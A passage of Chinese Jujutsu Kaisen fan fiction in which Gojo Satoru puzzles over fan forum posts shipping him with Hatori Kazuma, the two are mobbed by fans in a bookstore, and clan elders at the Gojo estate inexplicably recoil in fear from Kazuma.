多到五条悟也要暗自倒吸一口气,复述出帖子里的那句名台词—— 他好爱我! ……但这样一来, 岂不是显得他超没自觉,竟然只拿一真当普通好哥们相处? 可对方也没和他说过这些…心意嘛,要是说一真也其实是这么对待好哥们、且好哥们只有他一个? 但是帖子里又说这些其实是小情侣相处,可以直接结婚……话说还有那个“do”一下, 是什么意思, 这不是一个英语里的助动词吗? 不对不对,这个逻辑有点乱, 让他再好好捋一下…… 五条悟趴在这边胡思乱想,毫无睡意,听到杰还在问一真他怎么了。 “………” 五条悟耳朵“噌”的偷偷竖起, 想听羽取一真是怎么回答的。 “通宵学习了。悟的术式效果很强没错,但要想使用自如、以及延伸出更多用法的话,就必须要先努力将相关的数理知识学到精通才行。” 于是,他听见羽取一真格外认真的对夏油杰回道,声音压得低低的,似乎在担心吵醒他。 “根本不是只要有双[六眼],再觉醒出[无下限]术式就万事大吉了。悟的头脑和毅力才是真正的关键。” 羽取一真是特意说这些的。 他还记得当时夏油杰对他说的“应该由悟来做这个任务”,说的好像悟的实力都是他白捡来似的。 而悟自己也没办法对其他人说这些,那些人会觉得是五条悟这是得了便宜还卖乖,根本无法、也不愿意去理解他。 既然羽取一真遇到这个机会,当然要再尽量说清楚。 羽取一真还记得一周目的悟,因为学会了反转术式,能治疗大脑持续性运转的损伤,再加上对咒灵堪称无差别秒杀的实力,竟然接下了繁重到恐怖的高难度任务,每天只睡三个小时的连轴转,辛苦到有时只能在轿车里眯一会,还要被那帮老头npc说这是他应该做的,非他不可。 甚至,悟拿的还是月薪,无论任务做多做少,都不会给付额外的薪水。 就算这样,悟也从来没有介意过。 因为这些都只是他想去做,且能做到的事情。 他既不将这些任务当作责任,也不把它当作义务。 所以,他从不会拿这些成绩出来自夸,同样不会为此而沾沾自喜、索要感谢或报酬,将它当作自己的筹码去争取些什么。 他更不会在某个时刻对压在自己身上的重担感到厌烦,羽取一真甚至从来没有听他抱怨过。 这一切只是因为他能做到,他就如此坚持了数十年。 ——但羽取一真介意。 就算悟从没有想过当英雄,羽取一真也绝不允许那帮人喊他怪物。 “这样啊,” 听到羽取一真的解释,夏油杰的声音也随之压低了些,似乎担心吵醒五条悟。 “那我也要更努力才行。可不能被同学甩下太远啊。” 五条悟听到夏油杰笑了点声音出来,好似口吻轻松的开了个玩笑,却又能听得出他内容里相当认真的成分,带着点不服输的好胜心。 这听起来,只是一段还算普通的对话,解释了下五条悟通宵的缘由。 但听到羽取一真这样直白且毫不掩饰的为他说话,身为当事人的五条悟只觉得自己的耳根都在发烫。 他还在五条家接受教育时,当然也真的有过通宵学习的经历。 那些老师根本没有教育[六眼]+[无下限]术式的经验,即使家族里也有其他人觉醒了[无下限]术式,在没有[六眼]的情况下也极难高效率的使用。 五条悟现在会的[持续抑制力·无下限]和[强化吸引力·苍],都是他自己根据前人留下的术式记录,再加上一点结合现代数理知识的灵感,努力学习后才掌握的。 而且,还得一直忍耐[六眼]无时无刻带来的超负荷咒力情报,根本没有主动关闭的选项。 直到现在戴着能隔绝视线的墨镜,状况才算好转许多。 当然,五条悟想这些并不是要诉苦。 他只是突然发现……原来真的会有人理解自己,还会站在自己这边,为自己说话。 心脏忽然跳得很快,手指尖也在发热,让五条悟的大脑有点发晕,唇角却在悄悄扬起,迫切的想要对羽取一真说点什么——即使他其实并没有想到自己要说出口的内容。 不过这些也通通都没有关系,因为他真的很高兴。 五条悟想到了窗台上的那些瓷猫猫。 想到了那只四爪弯曲、匍匐在地,却又能突然跃得高高的,尾巴尖也竖得笔直的猫猫。 他此刻的心情,是不是也和那只跳起的瓷猫猫一样? 五条悟突然彻底放松下来,安心的放任自己在这短暂又漫长的时间里、在羽取一真的身边补了个好觉。 今天也是个好天气。 课程依旧是按部就班,由于即将迈入夏季的缘故,诅咒同样转为多发时期,[窗]和辅助监督的人手严重不足。 于是,羽取一真他们下午原本的实战对练也被取消了,改为巡逻以及祓除咒灵。 在五条悟亮晶晶的目光里,夜蛾老师安排了他和羽取一真搭档,负责巡逻东京城南的大田区、世田谷区、目黑区和品川区。 “另外还有件事,”夜蛾正道说。 “还有一个月就放暑假了,你们记得自己安排好时间,但别忘记保持联络,方便接任务。” ““好——”” 简单安排完今天的巡逻,连同附近的咒灵祓除任务后,羽取一真便和五条悟坐车来大田区,开始沿着既定路线巡逻。 当然,所谓的[巡逻]并不是要他们真的要走遍这几个区的每一条街道,而是坐车前往几个放置有辟邪物的固定场所,确认辟邪物的状态及周边是否有吸引来咒灵。 另外就是一些二、三级的咒灵祓除任务,对于五条悟而言,基本可以算是顺手消灭一下了。 至于类似蝇头的那种四级咒灵,能造成的实体伤害很小,形成的数量也极多,通常不需要特意安排他们出手,光靠辅助监督就能被轻松捕获。 不过,哪怕只是二、三级的【咒力结晶】,对羽取一真来说也是宝贵的升级材料。 因此,他之前特意跟五条悟提过能不能让自己补刀,好掉落【咒力结晶】给他提升咒力量的情况。 五条悟倒不怎么惊讶——毕竟夏油杰就能吃咒灵球,再来一个能吃咒力结晶的,想想竟然感觉也挺正常。 何况按照[六眼]的判断,流淌在羽取一真体内的咒力量确实在逐渐增加,这可是很稀奇的事情! “带着你祓除咒灵,总有种我在刷怪喂宝可梦升级的错觉,怪有成就感的。” 五条悟还这样跃跃欲试的感叹过,说出了和一周目悟同样的台词。 对此,羽取一真默默回出一串省略号。 但不管怎么说,他总算能升级了,即使如今还无法使用术式,也不至于[黑闪]都用不出几发。 而今天出来的目标,除了完成既定的巡逻和任务,还有买时尚杂志。 花了整个下午巡逻完毕,连带吃了好几颗【咒力结晶】,羽取一真和五条悟终于迎来了自己的私人时间。 “暑假的话,你还打算住宿舍吗?” 看着辅助监督的轿车开远,五条悟若无其事的问羽取一真。 “我不确定。”羽取一真想了想,“不过,我大概也没有别的地方可以去。” 那间入学前待过的公寓只是短租,现在已经退房了。 回盘星教那个【星之子之家】的分会吗?任务在身,他不确定目前正在当[卧底]的自己能不能回去。 这么一想,还真是只能继续住高专宿舍了,应该没什么关系吧。 羽取一真无所谓自己住到哪——毕竟在其余游戏里,玩家就是无论在桥洞下、野外还是地牢里也能安然入睡的物种,适应能力极强。 但五条悟听到这话,反而稍微踌躇了下,以为自己戳到了对方的伤心事,随即露出有点抱歉的表情。 “那个,”——他开口邀请,“要不,你跟我回五条家住一个暑假?” 羽取一真想了想,答应下来。 “好。” 他如今的身份不同,想要接触咒术界高层还挺困难的,正好趁此机会,去了解下十年前的高层又是什么样。 听到羽取一真答应,五条悟又开心起来。 不然要他和一真分开一个多月,也太无聊啦。 而后,羽取一真表示想要买一本有他们采访的那期杂志作为纪念,五条悟自然全程陪同。 他暂时不去想帖子里的那些话了,决定等羽取一真什么时候向他表示心意,他再得意洋洋的炫耀——哼哼,没想到吧?他其实早就知道啦! 反正按照帖子里说的那些分析,要是羽取一真确实是“那种”喜欢他,根本憋不住多久就会向他坦白吧? 五条悟为自己的天才想法而暗自呱唧呱唧鼓掌,表面上仍旧双手插兜跟在羽取一真身边。 并在对方询问店员时,自己心态放松的左右张望沿街店铺,权当来这里欣赏风景。 至于到时候要不要答应这件事——五条悟的脑袋里压根没有出现过这个抉择。 但他们连着跑了好几家书店,从市区边缘一路往繁华的市中心问去,得到的回答都是卖完了。 ——而且,他们现在遇到的,不仅仅是[杂志卖完了]这件小事。 上次出来逛街没人认出他们,导致五条悟这次出来时,压根没有想起来需要戴帽子藏起他的头发。 结果就是,当这头太过醒目的白发赫然出现在顾客更多的市中心书店里时,那些同样来询问杂志售卖状况的粉丝们,立刻就沸腾起来了! “是五条悟和羽取一真!!” 陡然间听到这声格外激动的点名道姓,二人都是一个激灵。 “啊啊啊悟酱和真酱!!” 五条悟顿时哽住。竟然还用“酱”来称呼他们…… “老公!我的老公们出现了!!” 到底有几个老公啦你,太多情了吧喂! “真悟,真悟啊啊啊,又是情侣装!” 都说不是情侣装而是高专制服了……!但这句话不能说出来,否则咒术高专就会暴露了。 “亲一个,现在亲一个给我们看好不好!” 五条悟这下终于憋不住反驳:“怎么能随便就亲亲呢!” “好好好,”粉丝从善如流,“你们回去亲回去亲!” “……回去也不会亲亲啊!!” 第87章 别说五条悟, 羽取一真也是头一次被越来越多的粉丝围着,请求合照与签名。 这间书店已经变得越来越无处下脚,五条悟和羽取一真都被挤开了, 各自淹没在人潮的两端。 店员在努力维持秩序, 而粉丝们也很克制,避开了书架和柜台,没有撞坏任何东西。 老板在旁边笑开了花。 他们才不讨厌有明星空降他们店铺打扰到正常售卖——空降这种事只会出现一次而已,但以后他的店肯定会成为很多粉丝的打卡地点,顺带生意也会变得很好。 他还巴不得多来几回呢!嗯,等会也去要个合照好了, 到时候就装裱在墙上。 而这间店铺,已变得格外嘈杂, 大家都在喊着什么, 想要尽力向偶像传达出自己的情绪。 有许多声音在喊五条悟和羽取一真的名字, 间或夹杂着“喜欢”、“爱”、“永远”之类的词语, 听得五条悟的手脚都有点不知道往哪里放。 他从来没有被这么热情的包围过,一张张朝着他的笑脸都非常可爱, 洋溢出的所有感情热切而真挚,好似一朵又一朵盛放的向日葵,灿烂,热烈, 带着满腔的纯粹心意。 既、既然这么喜欢他们的话, 签个名、合个影也没什么关系吧? 就算遇到再强大的咒灵或者诅咒师,也从未令五条悟感到如此紧张过;连通宵了整晚的头脑也接近眩晕, 心脏砰砰直跳,却又情绪高涨着,充盈着更愉快的飘然。 他伸出手, 接过了其中一支笔。 然后一直签到了手软。 “………” 五条悟僵硬抬头,发现排队等签名的人依旧望不到尾巴。 不行了不行了,他已经签没墨了三支笔,再写下去会连晚饭的筷子拿不起来的啊! 而且,五条悟见另一边的羽取一真也在默默重复着签名与合影的流程,整套动作都变得有些机械了。 看来他还得救这只超呆的黑豆柴于水火之中呢。 五条悟在内心啧啧摇头。 要喊辅助监督来吗? 但他们大概率也没遇到过这种阵仗,哪会知道该怎么处理呢。 既然如此就没办法了,还是喊专业的人过来帮忙吧。 五条悟悄悄发动[无下限],隔开一点能让他摸出手机的空隙。 “——智也大叔,救救啊!!” ………… “哈哈哈哈,真有你们的,竟然就这么出来逛街,还专往粉丝会去的地方凑。” 立刻带着保镖把羽取一真和五条悟从人海里挖出来的津地智也哈哈大笑,拍着五条悟肩膀。 “你光戴墨镜不戴帽子有什么用?你的墨镜早就变成了时尚单品你知不知道?” 五条悟闻言倒吸口气:“我这样的墨镜还有人戴?” 他一直觉得这种墨镜款式超个性的耶!而且很冷门来着。 “超——级多。” 津地智也摊开手,“你有空去涉谷和新宿那边逛一圈,现在全都是你这种圆镜片墨镜。” 五条悟:“………” 羽取一真:“……咳。” 不知道为什么,突然脑补出了大街上走着好多个看不见路,然后撞电线杆的漂亮小悟…… “总之啦,你以后出门记得注意点,可别又被围起来了啊。” 津地智也笑着提醒道,又俯身从车里拿出一本杂志——正是他们跑了好几家店都买不到的那本。 羽取一真的眼睛微亮,盯着那本杂志在空中划出一道弧线,递到他们面前。 “你们是想再买本这个?” 津地智也说,“那可真是不巧了,杂志卖得超火爆,连带加印的都早就售空了哦?我手上这本也是美和编辑送过来的样刊呢,先给你们吧。” 这两个小家伙竟然还以为下午跑来买会有,要知道在清晨一开售的时候,不到半个小时就已经卖空了啊。 连带加急印出来的五十万份就卖光了,现在还正继续加急印着呢。 杂志社那边乐得不行,都快开香槟庆祝了啊。 “啊,真的吗?非常感谢!” 羽取一真堪称虔诚地接过了这本在他眼里都快闪闪发光的杂志。 这可是让他这个有点沉闷的御宅族被密密麻麻人群包围着,签了好久好久字、合了好多好多影都没买到的宝贵杂志……! “我记得之前给了你们一本样刊来着,原来是想要一人一本收藏?” 羽取一真有些不好意思的点头。 既然没有其它事情,津地智也坐进车里,冲他们挥手告别。 “记住啦,下次一定给你们两本——话说你们有想好接下来走的路吗?我这边收到的邀约已经多到数不过来了喔!” “咦,都是给我们的吗?” 五条悟下意识问道。 “是啊——未来的大明星们。” 津地智也冲他们眨了眨眼,哈哈笑着开车走了,留下站在原地面面相觑的两个人。 “首先肯定得排除演员吧,”五条悟喃喃出声,“先不提你演技超烂的事实,我们哪有空一直跟着剧组跑……” 他们平时不止要上学,还有很多任务在身呢。 “出唱片?”羽取一真说。 悟真的很擅长唱歌,甚至可以称得上专业,是出唱片也没有任何问题的高级别水准。 如果他唱不来,可以选择在旁边伴奏——其实他会弹一点吉他,可以再抓紧时间练练,然后当一个只负责耍帅的哑巴。 “呜哇,还没想过真的要去出道呢。” 五条悟摆摆手,示意自己只是顺着津地智也的话随便发散了下思维而已,并没有当真的意思。 “先放着啦,有机会再说。” 至于这个[有机会],五条悟也不清楚到底什么时候才算是[有机会]。 总而言之,他还没想过自己不当咒术师的模样啦。 更别提去当歌手或偶像,成为津地智也口中的“大明星”。 现在还是先想想接下来该去哪里买顶帽子才是首要事项! 白发实在是太显眼了,哪怕站在比较偏僻的角落里,也架不住会有路人经过,然后又把他认出来。 五条悟见旁边又有粉丝要围上来的架势,赶紧拉着羽取一真逃跑。 等到晚上,五条悟再喵喵祟祟地打开论坛时,发现果然又有【书店偶遇真悟】的帖子飘红,被挂上了大大的hot。 【书店偶遇真悟】 1L(楼主):啊啊啊看我拍到了什么![合影][合影]这就是我的传家宝了呜呜呜我要打印个百八十张,不仅装裱挂到墙上,还要做成流麻、亚克力挂件、冰箱贴、卡纸…… 2L:可恶啊啊我收到消息赶过去的时候已经晚了!有没有姐妹转述一下现场! 5L:呜呜呜流下羡慕的眼泪…… 7L:能分我一张吗,哭泣猫猫头.jpg 8L:情侣装,果然又是情侣装!他们连逛街都穿着这身情侣装,怎么可能是队服啧啧啧。老人摇头.gif 9L(楼主):可不止合影呢,后去的姐妹们大概不知道,我们刚认出真悟的姐妹超勇的,直接当场让他们亲一口来着,结果小悟害羞了嘿嘿嘿,说“不能随便就亲亲”嘿嘿嘿。 10L:嘿嘿嘿。 11L:嘿嘿嘿。 ——后面跟着的一群[嘿嘿嘿],让五条悟格外想要回帖反驳,幸好在关键时刻即使刹车,忍住了打算注册账号的手。 他不是说了回去也不会亲吗,怎么光复述前半句呢! 可恶啊,有没有人替他来反驳一下! 五条悟堵着口气往下翻,终于又从一大堆[磕到了]、[好香]、[我就说是真的]和[嘿嘿嘿]里找到了后续。 254L:目击者现身说法,后来那位姐妹还接话说“好好好那你们回去亲”,然后小悟说“回去也不会亲啊”,但怎么说呢,解释就是掩饰,果然还是第一句回答更暴露真相吧? 叼烟摊手、看透真相.jpg 256L:下意识脱口而出的回答最暴露心声呢,嘿嘿嘿。 257L:真悟果然是真的,嘿嘿嘿。 258L:我就说悟肯定喜欢一真吧?嘿嘿嘿。 259L:嘿嘿嘿。 接下来又是一排的嘿嘿嘿,完全没有把他后续的澄清当回事,反而在心理学大师的一通分析下,变成了证明他们相爱的更有力证据。 五条悟瞪大了苍瞳:“…………” ………… 第二天。 羽取一真看着黑眼圈更严重的五条悟,脑袋上缓慢冒出一个问号。 “昨晚也在努力学习吗…?” 五条悟沉默望着来敲门喊他去上课的羽取一真,半晌才幽幽开口。 “嘿嘿嘿。” 羽取一真:“……” 羽取一真:“?” 第88章 羽取一真还忧心过五条悟是不是遭遇到什么事情, 但对方不肯透露。 幸好自那天后他就恢复过来了,整个人又变得活蹦乱跳的。 代价是翘掉了下午的实战对练课,窝在树荫里爆睡数个小时, 一直到太阳西斜才起。 不过五条悟自身的体术很强, 战力同样是超规格的顶级,就算翘掉一下午也不会有什么影响。 而后面再出任务时,他总算记得戴帽子了——至少得把过于惹眼的白发挡住。 家入硝子还建议五条悟要不戴一顶黑发假发,但戴久了会感觉太闷,因此只作为备选计划采纳。 原本相当有个性兼辨识度的墨镜,如今反而是最不出挑的那个。 它真的已经变成了某种超酷的时尚单品……就算五条悟戴着它走在街上, 也只会被人当成在追潮流。 总体而言,短期内的爆火确实对五条悟和羽取一真出任务有了一点影响, 但等后续热度趋于平稳, 就不再有那么大量的关注度了。 津地智也还特意打电话来和他们说过要“趁热打铁”, 被五条悟打着哈哈搪塞过去了。 他毕竟还是个咒术师啦, 怎么可能真的去出道! 倒是那个论坛,被五条悟仔细保管了起来。 2005年是纸媒与电视当道、网络尚且起步的年代, 此时热衷于上网聊天的人不多,年龄也比较集中,活跃地点也基本在论坛与个人网站这类地方。 而五条悟与羽取一真没有经营自己的个人网站,粉丝们也就更多在同好论坛聊天, 嗑点真悟cp。 五条悟也隔几日就上去刷一会, 对着那些内容有意思的新帖看得津津有味。 本质上来讲,他五条悟可是个非常喜欢接触新鲜事物、尤其是当下流行文化的酷guy啦! 如今的五条悟偷摸混迹论坛已久, 现在已经搞懂[嗑]和[cp]是什么意思了,[真悟]则是指代他和羽取一真谈恋爱后的名字缩写。 嗯,到这里还是有点不太懂, 为什么缩写有[真悟]、[悟真]、[悟言真语]、[真心悟道]……说法还怪多的,是有什么特别的讲究吗? 还有之前的[do]这种完全没搞明白助动词用法的,也很少见到,可能是不太会日语的外国人写出来的?就像[long time no see]那样? 但这种同样没人专门解释,导致五条悟看某些内容总是有点半懂半不懂,感觉比研究那些学术论文的专业术语还复杂,只能暂且记心里而后略过。 何况,论坛里的大家都一副心有灵犀的模样,他又实在不好意思注册账号发帖询问——万一暴露了自己怎么办? 索性就一律当作是在说他和一真关系超好的,而那些词语则是来润色他们关系到底是如何个“好”法。 这总是没错的嘛。 等天气的温度再升高些时,快要到放暑假的日子了。 就算是任务再忙碌的咒术高专,理论课也没多到需要每年连轴上的程度,还是会按照普通学校那样准时放假的。 到时候,就算有任务也仅需要直接动身前往目的地,不再安排每日的基础学科外加通识教育课。 之前做任务时,夏油杰从羽取一真那里了解到他是个孤儿,被迫寄人篱下,且与收养人的关系并不亲密,总之怎么想都很悲惨。 因此,他特意在暑假快开始前,来问羽取一真要不要去他家里住。 大概是担心他一个人在学校待得寂寞? 听家入硝子说她也不会在暑假时留校住宿,这么一看确实只剩羽取一真独自一人了。 羽取一真还挺诧异夏油杰特意来问他的——如果只是普通同学关系,通常不会为对方思考到这一层吧。 这或许不仅是高达71%信任度带来的友善与体贴,也可能有夏油杰本身心理比较纤细且敏感,容易与他人共情的缘故? 羽取一真不太确定,但他能大概判断出夏油杰是属于行事比较谨慎的类型,无论做任务还是旅游都习惯先查阅大量相关资料,而后再动身。 这种做派,又微妙的与一周目总在幕后算计他、直到最后才露面的【夏油杰(已故)(?)】挺吻合。 不过,羽取一真最不愿意和夏油杰一起做任务的关键原因,却不是这点。 ——主要是,他和夏油杰的实力提升方式有冲突。 一个靠吞活咒灵搓成的咒灵球,一个靠刷死咒灵掉落的咒力结晶。 他们没有当场打起来,已经是极为克制的结果了。 夏油杰主要是靠对羽取一真的信任度,羽取一真则是自觉现在的他连术式都没有,就算开了未来BOSS也打不过。 总之,前几次他们还勉强能五五分咒灵,后来就干脆找夜蛾老师说明情况,别把他们组成一队。 互相抢怪,迟早得打起来。 这也是为什么后面都是五条悟和羽取一真搭档出任务,偶尔还会被粉丝抓拍到——在论坛里,便又是标题名为【又偶遇小情侣逛街散步】的新帖。 而面对夏油杰的暑期邀请,羽取一真当然是婉拒了。 他要跟悟去京都的五条家里过暑假啦。 当羽取一真的尾音都用上了“啦”,可想而知他现在的心情有多好。 夏油杰听到这个解释,露出有点微妙且复杂的了然神情,然后就表示那他过两天就自己回去了。 而五条悟也和羽取一真打包好行李,愉快踏上了回五条家的专车。 “那些老家伙讲话你不用听,他们讲话就没几句是我爱听的。” 快要五条家时,五条悟还在和羽取一真嘀嘀咕咕的提醒,再三强调不用管那些族人说什么,一概不理就行了。 在这件事上,五条悟既高兴羽取一真同意跟他回来过暑假,又生怕身为孤儿的一真对这种陈腐又刻板的家族没有认知,被那些人的话吓着。 羽取一真很想对五条悟说别担心,他不仅很了解这帮老头npc,在一周目时还杀了好几个祭天…… 细数上周目的战绩,总共有加茂、五条和禅院的御三家: 加茂家是被他折腾得最狠的,一两行字根本说不完; 五条家因为他想跟悟联姻的关系,除了宅邸被改造成菜地外,整体还算保存完好; 禅院家好像就那个叫直哉的家伙被他揍得最狠,其余人是被杀鸡儆猴的猴,只敢缩在旁边围观,生怕也挨他两拳。 这么一看,还真是被五条家的那帮老头npc安然无恙躲过去了啊。 “没关系,我大概清楚,我没问题的。” 接收到漂亮小悟那边持续传来的[我很担心你]信号,羽取一真乖巧点头。 在这周目,他只是个普通的、无辜的咒术师而已,既没请这帮人吃过烂饭,又没抢他们的宅邸开垦成菜地,更没有让他们的菊花拥有味觉。 他们对他的感官,肯定也只是无名小卒才对吧? 羽取一真当然淡定。 五条悟见羽取一真的心理素质这么好,也勉强放松下来。 他想着实在不行就带对方出去住好了,反正无论京都还是东京,五条家名下都有多套房产。 ——等轿车行驶到五条宗家的宅邸门口停下,背着包的五条悟先下车,而后站在车门边等羽取一真也下来,才跟着一同往大门处走去。 “悟大人。” 门口的守卫向五条悟欠身行礼,“欢迎归来。” 即使五条悟今年很任性的要求去高专读书,连家里的长老都拿他没办法,但有[六眼]+[无下限]在,五条悟无论如何都会是下一任的五条家主,这是毋庸置疑的事实。 他在五条家的待遇,自然可以称得上是顶级的。 “啊,我回来了。” 五条悟朝守卫点点头,“那个最讨厌我的老头呢?” 五条家的最高长老,目前除家主外的最大话事人,被五条悟毫无敬意的称呼为老头。 什么敬语,更是半个字也不带用的。 反正对方也总是看他不顺眼、嫌他不守规矩嘛,干嘛还要客客气气的对待啊。 羽取一真也抬眼打量——无论是十年后还是十年前,这处宅邸几乎完全一致,连庭院里那条小路的弯曲角度都跟他记忆里大差不差。 就像这处仿佛冻结了古旧时光的宅邸一般,这些身居高位的长老思维也停留在了过往,只能体系能运转下去,就绝不肯改变分毫。 更别提,当前还是被那个[幕后黑手]全盘掌控的状态。 “辰雄大人的话,”守卫恭敬答道,“正在接待加茂家来的长吉大人一行。” “啊-啊,又是在忙着巩固自己的地位吗。” 五条悟撇了下嘴,显然很反感这类靠抱团、排挤、算计之类的手段来坐稳高位的行为。 不过这样也好,不用一来就必须要先去和对方打个招呼,倒也省得心烦。 至于用他们登上的时尚杂志来气一气老家伙们的打算,不着急,什么时候拿出来都能把他们气着。 “好吧,那我们先回……” 五条悟正对着羽取一真开口,远处的侧殿忽然转出来了一群人。 正是五条家的长老们和加茂家的长老们,一个个笑呵呵的,好像又在私底下达成了什么互利互惠的协议。 但五条悟清楚,占据绝大部分高层资源的御三家,随便就能拉出十几二十个小团体,互相忌惮、互相抱团,哪怕内部也有分赃不均的时候,怎么可能真的有两家势力彻底结盟、齐心协力。 现在这种喜气洋洋的大和谐氛围,不过是表象罢了。 五条悟拉过羽取一真就要走,不想让对方跟这帮人撞上,然后再被指指点点些不愉快的话。 御三家总有人自认自己的血统高贵,看不起非家系的咒术师。 更别提羽取一真还是孤儿。 虽然五条悟想带羽取一真避开,五条家和加茂家的长老可已经看见他了。 “悟大人,见到我们却不过来打声招呼,未免有些失礼。” 五条辰雄负着手出声。 这里毕竟有外人,他至少在面子上是相当客气的给予了下任家主尊重,委婉的提醒五条悟过来打招呼,至少得客套两句。 由于五条悟是侧对他们站的,外加背着包,完全挡住了羽取一真,导致五条辰雄没发现他身边还站着个人。 听到自己被点名,五条悟发出一声不耐烦的叹气,还是拉着羽取一真快步走过来了——就偏偏要堵在五条家长老和加茂家长老两拨人的中间。 早点打完招呼早点走。 “嗨——这不是辰雄长老吗,好久不见啊,你和你的老伙伴们身体可还硬朗?没有骨质疏松吧?” 五条悟拖着慢吞吞的强调,咬字吐音都超敷衍,一副他很赶时间随时都要拔腿走人的感觉。 按照往常流程,五条辰雄肯定又要叨咕他两句,训不训斥则看心情。 但此刻,五条悟等了又等,发现这帮人没有一个开口的。 ……怎么回事,他这态度也不是第一次了,不至于大惊小怪才对啊。 五条悟一抬眼,发现五条家这边的老头们头一次露出了略显惊慌——乃至带着点惊恐的表情,齐刷刷后退一步。 这后退的一步,比起主动拉开距离,倒像是条件反射的逃离。 脸上透着他们也不明所以的迷茫,似乎也不清楚自己为什么是这个反应。 五条悟:“……嗯?” 他转身——羽取一真也跟着转身——朝向加茂家的老头们,发现他们脸上的神色也陡然漫上惊恐。 甚至是更加惊恐,因为加茂长吉不仅跟着大部队齐刷刷后退了,还无意识打出个哆嗦。 那种被茫然裹挟的慌乱与畏惧,好像连他们自己也不清楚自己到底在害怕什么东西。 直到这时,羽取一真才想起来游戏的其中一个机制——上周目的好感度会继承部分到下周目。 其中自然也包括负好感度。 也就是说,对这帮老家伙而言—— 那个不能说出名字的恐怖恶魔,回来了! 第89章 - 100的好感度, 未必意味着好感度只有-100,也可能是游戏的好感度最低只能显示-100。 而羽取一真这周目还没有打开过好感度界面,也不知道这个继承“部分”, 到底是继承了百分之多少。 当然, 对这帮老头npc而言,无论答案是百分之多少,最终显示出来的可能都是-100。 这种仿佛刻印在灵魂深处的战栗与畏惧,在见到羽取一真的刹那间如浪潮般突如其来,令人无措。 在那视线相对的某个时刻,他们感觉自己像被扒光了丢到冰天雪原里, 弱小、可怜,又无助。 赶紧避开视线! ——心态突然就好转了, 手也不抖、脚也不软, 血液流通都顺畅了。 大喘口气, 再偷偷看一眼。 ——弱小、可怜, 又无助。 赶紧再挪开视线! ——又好转了,感觉身体倍棒。 五条家和加茂家的长老们:“…………” 什么情况?为什么他们会如此畏惧这个陌生的黑发少年?? 就算怕鬼, 都没有怕成过这种程度的! 这个黑发少年的身上是有什么不可直视的恐怖力量吗?! 而且,仔细品尝下这股突然剧烈翻涌在心底的情绪,还不仅是惧怕,是惧怕中带着抗拒, 抗拒里透着逃跑…… 总而言之, 是很多种负面情绪的交织。 如果咒术师也会因为负面情绪而催生出咒灵的话,可能他们这两拨人凑在一起, 在见到黑发少年的那一瞬间爆发出来的负面情绪之汹涌,足以汇聚出一只特级咒灵。 此刻的宅邸庭院里,五条悟只用了两个转身的功夫, 就把两拨老头吓得连连后退,给他空出了一大片地方,像是见到了什么恐怖的东西。 就算是因实力而受到敬畏的五条悟,也没看见过这架势。 “……你们这是怎么了?” 这两拨老头都不想开口回答他的疑问。 别问,问就是哆嗦。 “咳,咳咳,你怎么回来得这么早,高专那边不再继续教你两天吗?多待两天也没什么关系啊。” 在满场死寂中,最终还是五条辰雄挺身而出接上了五条悟的话,没有让这场面继续冷下去。 虽然他已经快说得牛头不对马嘴了,话与话之间的逻辑都接不上。 “…………你终于老年痴呆啦?” 五条悟听得眉毛都挑起来了,墨镜后的苍瞳目露狐疑,在这帮人里来回逡巡。 他没有怀疑是羽取一真的问题。 毕竟羽取一真是一个孤儿,非家系术师,之前从来没有接触过咒术界,更别提御三家了。 不仅连术式都还不会用,咒力量目前也只有三级的水平,还是吃【咒力结晶】补上来的。 这样的超呆黑豆柴,怎么可能有把御三家老头吓得集体大后退的威力呢? 五条辰雄下意识想训斥五条悟这是怎么说话呢,但视线一对上羽取一真,心底顿时一个哆嗦,口中的话也顿时拐了个弯。 “说什么傻话,我脑子清醒得很。” 五条辰雄挥手让五条悟赶紧带着羽取一真离开。 他们是一刻也不想见到这个会让他们感觉弱小可怜又无助的黑发少年了! 五条悟自然是巴不得不跟这帮老头打交道,当即拉起羽取一真就跑了,打算等回头再搞清楚这到底是什么状况。 留下两拨人,面面相觑,迎风萧瑟。 过了片刻,加茂长吉才压低声音开口——说话前还左右张望了下,仿佛生怕在这偌大的庭院里,都会有某个黑发少年突然鬼似的从他背后窜出来。 “你说……刚才那个少年,” 他用眼神不动声色地暗指了指羽取一真离去的方向,都没敢问后者的名字。 “到底是什么情况?” 这种威压感……不对,这种下意识让他们战栗又排斥、想逃但又逃不掉的畏惧感……可不是普通术师会拥有的啊。 “是五条悟的同期吧,我听首座提起过。” 五条辰雄也小声回道。 “东京那边的高专一年级总共就四个学生,除了悟以外,一个会用[咒灵操术]的男性,一个反转术式的女性,最后一个不清楚什么术式,但被那位大人要求安插进去的男性。” 毕竟五条悟之前吵着要去东京咒术高专上学,又正好遇上了那位大人的要求,因此五条辰雄也算是特意去了解过情况。 再加上这小子之前还特意拿整蛊节目的录像带给他看过……样貌是一致的,名字也不是那个会[咒灵操术]的夏油杰。 他肯定不会特意去记住那个当时在他看来不过是普通术师的名字,但毕竟还是听了一耳朵。 只是隔着屏幕看黑发少年时,五条辰雄完全没有出现这种强烈的负面情绪。 但一见到本人站在面前……不行了,光是回忆就感觉大脑开始晕眩。 加茂长吉则越听越恍然。 “所以,是那位大人的……” 没有说完的音节被吞回舌尖,加茂长吉轻声啧了下。 “我还想说把他……” 这种看起来就对他很有威胁的家伙,加茂长吉几乎是立刻就诞生出除掉对方的念头——熟练得就像曾经清算与他们作对、想要动摇他们地位的竞争对手那般。 “你可别想那种事了,那位大人的计划并非你我能阻止的。” 五条辰雄拍了拍加茂长吉这位老伙计的肩膀,眉目间露出一点苦笑。 “不过是一枚……大人的棋子而已,就算……再让我等…畏惧,也……只是区区一枚……棋子而已。” 加茂长吉:“………辰雄老弟,如果你这话不说得吞吞吐吐,可信度倒还能高上些许。” 都给他吓成这样了,还在这跟他“区区”、“棋子”呢。 反正加茂长吉是肯定不承认自己的症状,比五条辰雄还要更严重一点。 他揣在和服袖袍里的手,到目前为止都还在哆嗦。 ………… 另一边,五条悟把羽取一真带进他的房间里——说是房间,更像一个寝殿,连规格都相当遵循五间四面的古制——主屋外侧有围起来一圈的广厢,四周橼子延伸出去又有一圈孙厢,内里则建有板壁围起来的涂笼。 也不知道里面到底是放着祖先的灵位,还仅是放了些贵重的物品或床褥。 五条悟甩下背包,随意往榻榻米上一倒,“噗通”一下瘫成超级惬意的大字型。 “好累哦……” 他还哼唧出声。 羽取一真想起之前隔着宿舍门听见的声音——原来真是漂亮小悟砸在了地上啊。 “话说,”他扭过脑袋,好奇问羽取一真,“刚才那帮老头突然是怎么了?” “我也不清楚。” 羽取一真睁着黑瞳,无辜但又诚实的回道。 “可能是在害怕我吧。” 五条悟:“……” 五条悟:“噗。” 